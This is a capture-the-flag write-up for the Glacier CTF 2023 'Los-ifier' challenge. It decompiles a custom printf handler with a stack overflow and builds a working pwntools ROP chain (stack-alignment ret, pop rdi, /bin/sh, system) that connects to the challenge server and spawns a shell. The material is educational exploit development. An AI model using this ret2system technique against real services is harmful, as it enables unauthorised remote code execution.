Los-ifier [Glacier CTF 2023]

writeup by: PineBel

Challenge Description:

Normal binary for normal people.


First we run a checksec and a file on the binary and we can see that it’s statically linked and that it lacks PIE. When first opening the binary in Ghidra we see a simple main function with nothing special, we can also observe that there is a function named setup() called, let’s investigate. When opening the function, there is an interesting call made : register_printf_specifier(0x73,printf_handler,printf_arginfo_size). What this actually does is handling the %s fromat specifier from the printf() function, let’s see how the printf is handled in the printf_handler function. We observe another weird function, named loscopy() which takes three parameters. The first one is the address of local_58 + 3, the second one is our input and the last one is 10 (’\n’). Opening the loscopy function we can see an overflow vulnerability inside of the while.

undefined8 main(void)

 char local_108 [256];
 fgets(local_108,0x100,(FILE *)stdin);
 printf("-> %s\n",local_108);
 return 0;

void setup(void)

 setbuf((FILE *)stdin,(char *)0x0);
 setbuf((FILE *)stdout,(char *)0x0);

size_t printf_handler(FILE *param_1,undefined8 param_2,undefined8 *param_3)

 undefined8 local_58;
 undefined8 local_50;
 undefined8 local_48;
 undefined8 local_40;
 undefined8 local_38;
 undefined8 local_30;
 undefined8 local_28;
 undefined8 local_20;
 size_t local_18;
 undefined8 local_10;
 local_50 = 0;
 local_48 = 0;
 local_40 = 0;
 local_38 = 0;
 local_30 = 0;
 local_28 = 0;
 local_20 = 0;
 local_10 = *(undefined8 *)*param_3;
 local_58 = 0x736f4c;
 loscopy((long)&local_58 + 3,local_10,10);
 local_18 = strlen((char *)&local_58);
 return local_18;

void loscopy(char *param_1,char *param_2,char param_3)

 char *local_18;
 char *local_10;
 local_18 = param_2;
 local_10 = param_1;
 while (param_3 != *local_18) {
   *local_10 = *local_18;
   local_18 = local_18 + 1;
   local_10 = local_10 + 1;


Let’s see what we can get from GDB, putting a breakpoint in the loscopy() function we can see that we can overwrite the __printf_function_invoke() with our input.

[#0] 0x40182c → loscopy()
[#1] 0x4018d0 → printf_handler()
[#2] 0x43c3b7 → __printf_function_invoke()
[#3] 0x405672 → printf_positional()
[#4] 0x4072b7 → __printf_buffer()
[#5] 0x409181 → __vfprintf_internal()
[#6] 0x404d19 → printf()
[#7] 0x4019c6 → main()

gef➤  x/20g 0x00007fffffffc940
0x7fffffffc940: 0x00007fffffffc9c0      0x00000000004018d0
0x7fffffffc950: 0x0000000000000000      0x00007fffffffc9e0
0x7fffffffc960: 0x00007fffffffcc30      0x00007fffffffca00
0x7fffffffc970: 0x4141414141736f4c      0x4141414141414141
0x7fffffffc980: 0x0000414141414141      0x0000000000000000
0x7fffffffc990: 0x0000000000000000      0x0000000000000000
0x7fffffffc9a0: 0x0000000000000000      0x0000000000000000
0x7fffffffc9b0: 0x0000000000000000      0x00007fffffffdc00
0x7fffffffc9c0: 0x00007fffffffc9e0      0x000000000043c3b7
0x7fffffffc9d0: 0x0000000000000000      0x00007fffffffcc30

The question now is, with what do we overwrite the __printf_function_invoke() address. Remembering that it’s statically linked we can craft a payload and invoke a shell. First we need to see how much padding there is needed 10*8+5 bytes. To create this exploit we use a small ROP chain (gadgets were found with ROPgadget) , first we need to put the “/bin/sh” address into RDI (system’s argument register) and then we should return to system. Let’s see if it works!

Getting the addresses of system and /bin/sh:

gef➤  p system
$1 = {<text variable, no debug info>} 0x404ae0 <system>

gef➤  search-pattern "/bin/sh"
[+] Searching '/bin/sh' in memory
[+] In '/home/kali/CTF/Glacier/Losifier/Losifier/chall'(0x478000-0x4a0000), permission=r--
  0x478010 - 0x478017  →   "/bin/sh" 
  0x4784d9 - 0x4784e0  →   "/bin/sh" 

Initial payload:

from pwn import *

target = remote( "chall.glacierctf.com" ,13392 )
p = b"\x00"*(10*8+5)

p += p64(0x0000000000402188) # pop rdi; ret
p += p64(0x478010) # pointer to /bin/sh
p += p64(0x404ae0) # system


Mhmm, it doesn’t work, let’s see why. The error we got is: stopped 0x4047c8 in do_system (), reason: SIGSEGV. The problem is that the stack should be aligned in 16-byte bounderies, to fix this, we use a ret gadget for padding (found with ROPGadget). So our final payload looks like this:

from pwn import *

target = remote( "chall.glacierctf.com" ,13392 )
p = b"\x00"*(10*8+5)

p += p64(0x000000000040101a) # ret for stack alignment 
p += p64(0x0000000000402188) # pop rdi; ret
p += p64(0x478010) # pointer to /bin/sh
p += p64(0x404ae0) # system



Running the script we get:

$ python3 payload_clever.py
[+] Opening connection to chall.glacierctf.com on port 13392: Done
[*] Switching to interactive mode
$ ls
$ cat flag.txt